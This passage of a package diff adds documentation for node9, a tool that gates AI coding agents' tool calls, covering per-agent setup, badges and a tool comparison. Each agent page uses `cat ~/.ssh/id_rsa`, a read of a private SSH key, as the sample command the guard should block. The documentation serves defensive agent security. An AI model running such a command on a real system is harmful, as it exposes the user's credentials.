@node9/proxy 2.10.0 → 2.11.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/docs/README.md ADDED
@@ -0,0 +1,49 @@
1
+ # node9 documentation
2
+
3
+ These pages are the source of truth for how node9 behaves. They live next to the code so the tests
4
+ in this repository can check them: a page that names a command the CLI does not have, or a command
5
+ with no page at all, fails CI.
6
+
7
+ The site at [node9.ai/docs](https://node9.ai/docs) renders these same files.
8
+
9
+ ## Protections
10
+
11
+ | Page | What it covers |
12
+ | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
13
+ | [Egress Control](egress.md) | Which hosts an agent may reach, the always-on floor around cloud metadata and private ranges, and what a destination gate does not cover |
14
+
15
+ ## Per agent
16
+
17
+ [One page per agent](agents/README.md): how node9 is wired in, what that covers, and what it does
18
+ not. Twelve agents, split by control model.
19
+
20
+ ## Reference
21
+
22
+ | Page | What it covers |
23
+ | --------------------------- | ----------------------------------------------------------------------------------------------------- |
24
+ | [Comparison](comparison.md) | Where node9 sits among agent-security tools, on the axis of what a tool can read before an agent runs |
25
+ | [Badges](badges.md) | The `scanned by node9` badge for your own README |
26
+
27
+ ## Writing a page here
28
+
29
+ Every page starts with front matter:
30
+
31
+ ```yaml
32
+ ---
33
+ id: egress
34
+ label: Egress Control
35
+ description: One sentence. It becomes the page's search description.
36
+ group: Protections
37
+ order: 20
38
+ ---
39
+ ```
40
+
41
+ `id` becomes the URL (`/docs/egress`), `group` places it in the site's left navigation, and `order`
42
+ sorts it within that group. Use GitHub-flavoured Markdown plus GitHub alerts (`> [!NOTE]`,
43
+ `> [!WARNING]`), which render in both places.
44
+
45
+ Two rules the tests enforce:
46
+
47
+ - Every command a page names must exist. Check with `node9 <command> --help` before you write it.
48
+ - Every page must state what the feature does **not** do. A page that only sells is a page that
49
+ will be wrong within a release.
@@ -0,0 +1,29 @@
1
+ # node9 per agent
2
+
3
+ One page per agent: what node9 wires into it, what that covers, and what it does not. The
4
+ "what is not covered" section is the one to read before you tell your team an agent is governed.
5
+
6
+ | Agent | Control model | Prompt scan | Guide |
7
+ | --------------------------- | ------------- | ----------- | -------------------------------------- |
8
+ | Claude Code | hooks + MCP | yes | [claude-code.md](claude-code.md) |
9
+ | Codex CLI | hooks + MCP | yes | [codex.md](codex.md) |
10
+ | GitHub Copilot CLI | hooks + MCP | yes | [copilot-cli.md](copilot-cli.md) |
11
+ | Gemini CLI | hooks + MCP | no | [gemini-cli.md](gemini-cli.md) |
12
+ | Antigravity | hooks + MCP | no | [antigravity.md](antigravity.md) |
13
+ | Hermes Agent | hooks | no | [hermes.md](hermes.md) |
14
+ | OpenCode | plugin | yes | [opencode.md](opencode.md) |
15
+ | Pi | extension | yes | [pi.md](pi.md) |
16
+ | Cursor | MCP only | no | [cursor.md](cursor.md) |
17
+ | Windsurf | MCP only | no | [windsurf.md](windsurf.md) |
18
+ | VS Code (Copilot extension) | MCP only | no | [vscode.md](vscode.md) |
19
+ | Claude Desktop | MCP only | no | [claude-desktop.md](claude-desktop.md) |
20
+
21
+ "Hooks" means node9 sees every tool call before it runs. "MCP only" means node9 sees the tools
22
+ that go through MCP servers and nothing the editor does on its own.
23
+
24
+ Every page ends with the same two commands, and they are the real check:
25
+
26
+ ```bash
27
+ node9 doctor
28
+ node9 explain Bash 'cat ~/.ssh/id_rsa'
29
+ ```
@@ -0,0 +1,33 @@
1
+ # node9 with Antigravity
2
+
3
+ | Surface | How node9 is wired | What it does |
4
+ | ----------------- | ------------------------------------------------------ | ------------------------------------------- |
5
+ | Every tool call | `PreToolUse` hook in `~/.gemini/config/hooks.json` | allow / review / block before the tool runs |
6
+ | Every tool result | `PostToolUse` hook | audit record |
7
+ | MCP servers | `~/.gemini/config/mcp_config.json` entries are wrapped | per-tool allow / review / block |
8
+
9
+ Payload shape verified against Antigravity 1.0.6.
10
+
11
+ ## Set it up
12
+
13
+ ```bash
14
+ node9 agents add antigravity
15
+ ```
16
+
17
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
18
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
19
+
20
+ ## What is not covered
21
+
22
+ - **No prompt scan.** There is no prompt event to hook.
23
+ - Cost is not tracked for Antigravity.
24
+
25
+ ## Verify it on this machine
26
+
27
+ ```bash
28
+ node9 doctor # is the hook (or MCP wrap) actually in place?
29
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
30
+ ```
31
+
32
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
33
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,40 @@
1
+ # node9 with Claude Code
2
+
3
+ Claude Code is the most fully covered agent.
4
+
5
+ | Surface | How node9 is wired | What it does |
6
+ | ----------------- | ----------------------------------------------------------------- | --------------------------------------------------------- |
7
+ | Every tool call | `PreToolUse` hook in `~/.claude/settings.json` | allow / review / block before the tool runs |
8
+ | Every tool result | `PostToolUse` hook | writes the audit record |
9
+ | Pasted prompts | `UserPromptSubmit` hook | secret pasted into the prompt is caught before it is sent |
10
+ | MCP servers | entries in `~/.claude.json` are wrapped through the node9 gateway | per-tool allow / review / block |
11
+ | Cost | reads `~/.claude/projects` session logs | per-project spend in `node9 report` |
12
+
13
+ The `PreToolUse` hook runs in every Claude Code permission mode, including
14
+ `--dangerously-skip-permissions`. That was verified with a standalone probe, and it is
15
+ undocumented behaviour, so treat it as a fact about today's Claude Code rather than a guarantee.
16
+
17
+ ## Set it up
18
+
19
+ ```bash
20
+ node9 agents add claude
21
+ ```
22
+
23
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
24
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
25
+
26
+ ## What is not covered
27
+
28
+ - Tool **output** is observed, not gated. Claude Code's `PostToolUse` cannot suppress a
29
+ result, so a secret or an injected instruction inside a tool result is recorded and the
30
+ session is tainted for review on the next call; it is not stripped before Claude sees it.
31
+
32
+ ## Verify it on this machine
33
+
34
+ ```bash
35
+ node9 doctor # is the hook (or MCP wrap) actually in place?
36
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
37
+ ```
38
+
39
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
40
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,32 @@
1
+ # node9 with Claude Desktop
2
+
3
+ Claude Desktop only calls tools through MCP, so wrapping its servers covers every tool it
4
+ can use.
5
+
6
+ | Surface | How node9 is wired | What it does |
7
+ | ----------- | ----------------------------------------------------------------------------- | ------------------------------- |
8
+ | MCP servers | entries in `claude_desktop_config.json` are wrapped through the node9 gateway | per-tool allow / review / block |
9
+
10
+ ## Set it up
11
+
12
+ ```bash
13
+ node9 agents add claudeDesktop
14
+ ```
15
+
16
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
17
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
18
+
19
+ ## What is not covered
20
+
21
+ - No prompt scan and no cost tracking.
22
+ - `node9 doctor` and `node9 status` do not list Claude Desktop yet.
23
+
24
+ ## Verify it on this machine
25
+
26
+ ```bash
27
+ node9 doctor # is the hook (or MCP wrap) actually in place?
28
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
29
+ ```
30
+
31
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
32
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,37 @@
1
+ # node9 with Codex CLI
2
+
3
+ Codex gets the same pre-tool gate as Claude Code.
4
+
5
+ | Surface | How node9 is wired | What it does |
6
+ | ----------------- | --------------------------------------------------- | -------------------------------------------------- |
7
+ | Every tool call | `PreToolUse` hook in `~/.codex/hooks.json` | allow / review / block before the tool runs |
8
+ | Pasted prompts | `UserPromptSubmit` hook | prompt secret scan |
9
+ | Every tool result | `PostToolUse` hook | audit record; verified against real Codex sessions |
10
+ | MCP servers | `mcp_servers` in `~/.codex/config.toml` are wrapped | per-tool allow / review / block |
11
+
12
+ Headless `codex exec` runs the same hooks. Verified with a nonce probe against the real
13
+ trusted-hooks config: both the pre and post hook fired.
14
+
15
+ ## Set it up
16
+
17
+ ```bash
18
+ node9 agents add codex
19
+ ```
20
+
21
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
22
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
23
+
24
+ ## What is not covered
25
+
26
+ - Cost is not tracked for Codex. `node9 report` cost figures are Claude Code only today.
27
+ - Tool output is observed, not gated (same as Claude Code).
28
+
29
+ ## Verify it on this machine
30
+
31
+ ```bash
32
+ node9 doctor # is the hook (or MCP wrap) actually in place?
33
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
34
+ ```
35
+
36
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
37
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,34 @@
1
+ # node9 with GitHub Copilot CLI
2
+
3
+ Copilot CLI is wired on three events, which makes it one of the strongest integrations.
4
+
5
+ | Surface | How node9 is wired | What it does |
6
+ | ----------------- | ------------------------------------------------ | ------------------------------------------- |
7
+ | Every tool call | `PreToolUse` in `~/.copilot/hooks/node9.json` | allow / review / block before the tool runs |
8
+ | Every tool result | `PostToolUse` | audit record |
9
+ | Pasted prompts | `UserPromptSubmit` | prompt secret scan |
10
+ | MCP servers | `~/.copilot/mcp-config.json` entries are wrapped | per-tool allow / review / block |
11
+
12
+ ## Set it up
13
+
14
+ ```bash
15
+ node9 agents add copilot
16
+ ```
17
+
18
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
19
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
20
+
21
+ ## What is not covered
22
+
23
+ - Cost is not tracked for Copilot.
24
+ - Tool output is observed, not gated.
25
+
26
+ ## Verify it on this machine
27
+
28
+ ```bash
29
+ node9 doctor # is the hook (or MCP wrap) actually in place?
30
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
31
+ ```
32
+
33
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
34
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,36 @@
1
+ # node9 with Cursor
2
+
3
+ Cursor has no pre-execution hook, so node9 protects it through MCP only.
4
+
5
+ | Surface | How node9 is wired | What it does |
6
+ | ----------- | ------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
7
+ | MCP servers | `~/.cursor/mcp.json` entries are wrapped through the node9 gateway | every `tools/call` is authorized, pinned and env-scrubbed before it reaches the server |
8
+
9
+ For tools that go through MCP this is the same allow / review / block gate every other agent
10
+ gets.
11
+
12
+ ## Set it up
13
+
14
+ ```bash
15
+ node9 agents add cursor
16
+ ```
17
+
18
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
19
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
20
+
21
+ ## What is not covered
22
+
23
+ - **Cursor's own terminal and file edits are not gated.** Nothing in Cursor exposes them to a
24
+ hook today. If Cursor runs `cat ~/.ssh/id_rsa` in its built-in terminal, node9 does not see it.
25
+ - No prompt scan, no audit of native tool calls, no cost tracking.
26
+ - Say this plainly to your team: with Cursor, node9 governs the MCP surface, not the editor.
27
+
28
+ ## Verify it on this machine
29
+
30
+ ```bash
31
+ node9 doctor # is the hook (or MCP wrap) actually in place?
32
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
33
+ ```
34
+
35
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
36
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,34 @@
1
+ # node9 with Gemini CLI
2
+
3
+ | Surface | How node9 is wired | What it does |
4
+ | ----------------- | ----------------------------------------------------- | ------------------------------------------- |
5
+ | Every tool call | `BeforeTool` hook in `~/.gemini/settings.json` | allow / review / block before the tool runs |
6
+ | Every tool result | `AfterTool` hook | audit record |
7
+ | MCP servers | `mcpServers` in `~/.gemini/settings.json` are wrapped | per-tool allow / review / block |
8
+
9
+ ## Set it up
10
+
11
+ ```bash
12
+ node9 agents add gemini
13
+ ```
14
+
15
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
16
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
17
+
18
+ ## What is not covered
19
+
20
+ - **No prompt scan.** Gemini CLI has no prompt-submit hook, so a secret pasted into the prompt
21
+ is not caught until it shows up in a tool call.
22
+ - The session id Gemini sends drifts across resumes, so a review taint set before a resume can
23
+ be orphaned. Within one session it works.
24
+ - Cost is not tracked for Gemini.
25
+
26
+ ## Verify it on this machine
27
+
28
+ ```bash
29
+ node9 doctor # is the hook (or MCP wrap) actually in place?
30
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
31
+ ```
32
+
33
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
34
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,35 @@
1
+ # node9 with Hermes Agent
2
+
3
+ | Surface | How node9 is wired | What it does |
4
+ | ----------------- | ------------------------------------------------------ | ------------------------------------------- |
5
+ | Every tool call | `pre_tool_call` command hook in the Hermes YAML config | allow / review / block before the tool runs |
6
+ | Every tool result | `post_tool_call` command hook | audit record |
7
+
8
+ Run `node9 status` to see the exact config path on your machine.
9
+
10
+ ## Set it up
11
+
12
+ ```bash
13
+ node9 agents add hermes
14
+ ```
15
+
16
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
17
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
18
+
19
+ ## What is not covered
20
+
21
+ - **No prompt scan.** Hermes has no prompt event.
22
+ - **No MCP wrapping.** Hermes' MCP servers are not routed through the node9 gateway.
23
+ - Hermes sends an empty session id on the pre-tool hook, so the output-taint review gate
24
+ does not work for Hermes. Upstream issue: NousResearch/hermes-agent#48311.
25
+ - Cost is not tracked for Hermes.
26
+
27
+ ## Verify it on this machine
28
+
29
+ ```bash
30
+ node9 doctor # is the hook (or MCP wrap) actually in place?
31
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
32
+ ```
33
+
34
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
35
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,36 @@
1
+ # node9 with OpenCode
2
+
3
+ OpenCode is protected by a node9 plugin rather than hooks or MCP.
4
+
5
+ | Surface | How node9 is wired | What it does |
6
+ | ----------------- | -------------------------------------------------------------------------------------------------- | ------------------------------------------- |
7
+ | Every tool call | `tool.execute.before` in the node9 plugin under the OpenCode config directory (`plugins/node9.js`) | allow / review / block before the tool runs |
8
+ | Prompts | `chat.message` | prompt secret scan |
9
+ | Every tool result | `tool.execute.after` | audit record, and output redaction in place |
10
+
11
+ Because the plugin can mutate tool output, secrets in a result are redacted before the model
12
+ sees them. That is stronger than the observe-only agents.
13
+
14
+ ## Set it up
15
+
16
+ ```bash
17
+ node9 agents add opencode
18
+ ```
19
+
20
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
21
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
22
+
23
+ ## What is not covered
24
+
25
+ - MCP servers are not wrapped for OpenCode; the plugin gates tool calls directly.
26
+ - Cost is not tracked for OpenCode.
27
+
28
+ ## Verify it on this machine
29
+
30
+ ```bash
31
+ node9 doctor # is the hook (or MCP wrap) actually in place?
32
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
33
+ ```
34
+
35
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
36
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,34 @@
1
+ # node9 with Pi
2
+
3
+ Pi is protected by a node9 extension rather than hooks or MCP.
4
+
5
+ | Surface | How node9 is wired | What it does |
6
+ | --------------------------------- | ------------------------------------------------ | ------------------------------------------- |
7
+ | Every tool call | `tool_call` in `~/.pi/agent/extensions/node9.js` | allow / review / block before the tool runs |
8
+ | Prompts | `input` | prompt secret scan |
9
+ | The `!` / `!!` shell side channel | `user_bash` | gated like any other command |
10
+ | Every tool result | `tool_result` | audit record, and output redaction in place |
11
+
12
+ ## Set it up
13
+
14
+ ```bash
15
+ node9 agents add pi
16
+ ```
17
+
18
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
19
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
20
+
21
+ ## What is not covered
22
+
23
+ - MCP servers are not wrapped for Pi.
24
+ - Cost is not tracked for Pi.
25
+
26
+ ## Verify it on this machine
27
+
28
+ ```bash
29
+ node9 doctor # is the hook (or MCP wrap) actually in place?
30
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
31
+ ```
32
+
33
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
34
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,33 @@
1
+ # node9 with VS Code (Copilot extension)
2
+
3
+ The VS Code Copilot extension exposes no hook, so node9 wraps its MCP servers only. This is
4
+ a different integration from the Copilot **CLI**, which has full hooks; see
5
+ [copilot-cli.md](copilot-cli.md).
6
+
7
+ | Surface | How node9 is wired | What it does |
8
+ | ----------- | ------------------------------------------------------------------ | ------------------------------- |
9
+ | MCP servers | VS Code's MCP config entries are wrapped through the node9 gateway | per-tool allow / review / block |
10
+
11
+ ## Set it up
12
+
13
+ ```bash
14
+ node9 agents add vscode
15
+ ```
16
+
17
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
18
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
19
+
20
+ ## What is not covered
21
+
22
+ - The editor's own terminal and edits are not gated.
23
+ - `node9 doctor` and `node9 status` do not list VS Code yet.
24
+
25
+ ## Verify it on this machine
26
+
27
+ ```bash
28
+ node9 doctor # is the hook (or MCP wrap) actually in place?
29
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
30
+ ```
31
+
32
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
33
+ says the agent is not wired, the guard is not running, whatever the config looks like.
@@ -0,0 +1,31 @@
1
+ # node9 with Windsurf
2
+
3
+ Windsurf exposes no pre-execution hook, so node9 wraps its MCP servers and nothing else.
4
+
5
+ | Surface | How node9 is wired | What it does |
6
+ | ----------- | ------------------------------------------------------------------- | ------------------------------- |
7
+ | MCP servers | Windsurf's MCP config entries are wrapped through the node9 gateway | per-tool allow / review / block |
8
+
9
+ ## Set it up
10
+
11
+ ```bash
12
+ node9 agents add windsurf
13
+ ```
14
+
15
+ `node9 init` does this for every agent it detects on the machine. Either command is safe to
16
+ re-run; it repairs a hook that an agent update removed and leaves everything else alone.
17
+
18
+ ## What is not covered
19
+
20
+ - Windsurf's own terminal and edits are not gated, and there is no audit of them.
21
+ - `node9 doctor` and `node9 status` do not list Windsurf yet; check the MCP config by hand.
22
+
23
+ ## Verify it on this machine
24
+
25
+ ```bash
26
+ node9 doctor # is the hook (or MCP wrap) actually in place?
27
+ node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
28
+ ```
29
+
30
+ `node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
31
+ says the agent is not wired, the guard is not running, whatever the config looks like.
package/docs/badges.md ADDED
@@ -0,0 +1,98 @@
1
+ # node9 badges
2
+
3
+ Drop-in Markdown for showing that a project's agent-security surface is checked by node9.
4
+
5
+ Two badges ship. One is for projects that use node9; the other is reserved for this repository.
6
+
7
+ ## `scanned by node9`
8
+
9
+ Use this on any public project where the node9 Action runs in CI. It says that the repo's
10
+ committed agent configuration — CI workflows, agent settings, MCP servers, instruction files — is
11
+ inspected on every pull request, and it links readers back to node9 so they can judge what the
12
+ badge is worth.
13
+
14
+ ![scanned by node9](https://img.shields.io/badge/scanned%20by-node9-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K)
15
+
16
+ ### Requirements
17
+
18
+ Only display this badge if the node9 Action genuinely runs on every pull request. The honest CI
19
+ wiring is the signal; the badge is only a surface for it. A badge on a repo that does not run the
20
+ check is misleading, and it devalues the badge for everyone who does.
21
+
22
+ The minimum is a job that runs `node9-ai/node9-proxy@v2` on `pull_request`:
23
+
24
+ ```yaml
25
+ # .github/workflows/agent-security.yml
26
+ name: node9 agent-security
27
+ on: pull_request
28
+ permissions:
29
+ contents: read
30
+ pull-requests: write
31
+ checks: write
32
+ jobs:
33
+ scan:
34
+ runs-on: ubuntu-latest
35
+ steps:
36
+ - uses: node9-ai/node9-proxy@v2
37
+ with:
38
+ fail-on: high # 'never' to comment without gating
39
+ ```
40
+
41
+ `fail-on: never` still counts as running the check: the badge claims the surface is _inspected_,
42
+ not that merges are blocked.
43
+
44
+ ### Markdown
45
+
46
+ ```markdown
47
+ [![scanned by node9](https://img.shields.io/badge/scanned%20by-node9-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K)](https://github.com/node9-ai/node9-proxy)
48
+ ```
49
+
50
+ ### HTML
51
+
52
+ ```html
53
+ <a href="https://github.com/node9-ai/node9-proxy">
54
+ <img
55
+ alt="scanned by node9"
56
+ src="https://img.shields.io/badge/scanned%20by-node9-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K"
57
+ />
58
+ </a>
59
+ ```
60
+
61
+ ### Placement
62
+
63
+ Put it with the other status badges at the top of the README. It follows the standard shields.io
64
+ layout, so it sits cleanly next to CI, coverage, and license badges.
65
+
66
+ ### Link target
67
+
68
+ Link the badge to `https://github.com/node9-ai/node9-proxy` so a reader can click through and find out what it asserts. Linking to
69
+ your own passing CI run instead is also fine.
70
+
71
+ ## `node9 self-scanned`
72
+
73
+ **Reserved for this repository.** It says that node9 runs its own Action against its own source on
74
+ every pull request, and gates merges on the result — dogfooding in public. It links to the workflow
75
+ that does it, so the claim is checkable in one click.
76
+
77
+ ![node9 self-scanned](https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K)
78
+
79
+ ```markdown
80
+ [![node9 self-scanned](https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K)](https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml)
81
+ ```
82
+
83
+ On any other project, use `scanned by node9` above. This wording is only honest here.
84
+
85
+ ## Brand
86
+
87
+ - Label background: `#1A1A2E`
88
+ - Message background: `#a855f7` (the node9 accent)
89
+ - Logo: `#F5E9FF`, a shield glyph inlined as an SVG data URI
90
+
91
+ shields.io renders an inlined SVG verbatim rather than tinting it, so the fill is baked into the
92
+ glyph. Do not change the colours or substitute a different logo. The consistency is the point: a
93
+ badge is only recognisable if it looks the same everywhere.
94
+
95
+ ## Problems
96
+
97
+ If the badge renders oddly in your README, open an issue on
98
+ [node9-ai/node9-proxy](https://github.com/node9-ai/node9-proxy/issues) with the rendered image and your README source.
@@ -0,0 +1,66 @@
1
+ # Where node9 sits among agent-security tools
2
+
3
+ Most comparisons in this space grade tools on runtime mediation: where the allow / deny decision
4
+ is computed, where it is enforced, and what evidence the tool emits. That is a fair axis and
5
+ node9 is not the strongest tool on it. This page grades on a second axis that the same
6
+ comparisons leave out: **what a tool can see before an agent ever runs**.
7
+
8
+ Every claim below about node9 is code-verified against this repository. Claims about other
9
+ tools come from their own public documentation as of September 2026; if one is wrong, open an
10
+ issue and it will be corrected.
11
+
12
+ ## Two questions, two fields
13
+
14
+ | Question | Who answers it |
15
+ | ------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
16
+ | At runtime, can a mediator stop this action and prove it did? | pipelock, CAPSEM, Signet, AgentMint, Cupcake, agentsh, Docker MCP gateway, Microsoft AGT, Invariant, **node9** |
17
+ | Before any run, is this repository's committed agent surface hijackable? | **node9 `scan-repo`**, and in narrow slices Snyk `mcp-scan` (MCP tool definitions) and Trail of Bits `mcp-context-protector` (MCP drift) |
18
+
19
+ The first field is crowded and well served. The second is nearly empty.
20
+
21
+ ## The committed agent surface
22
+
23
+ An agent wired into a repository leaves configuration behind: hook files, workflow YAML, MCP
24
+ server pins, instruction files. That configuration decides what an outsider can make the agent
25
+ do, and it is reviewable without running anything.
26
+
27
+ | Check | What it reads | What it flags | Nearest alternative |
28
+ | ----- | ---------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------- |
29
+ | CI-1 | `.claude/settings.json` and hooks | committed config that pre-authorizes broad tools or runs remote hooks | none |
30
+ | CI-2 | `.github/workflows/*.yml` | an agent that an outsider can trigger with the repository's secrets in reach (`pull_request_target`, untrusted checkout, no actor gate) | none |
31
+ | CI-3 | `.mcp.json`, `.cursor/mcp.json` | unpinned or `@latest` MCP servers, inline credentials | Snyk `mcp-scan` (definitions, not pins) |
32
+ | CI-4 | workflow YAML | secrets an injected agent could exfiltrate, given the shell it has | none |
33
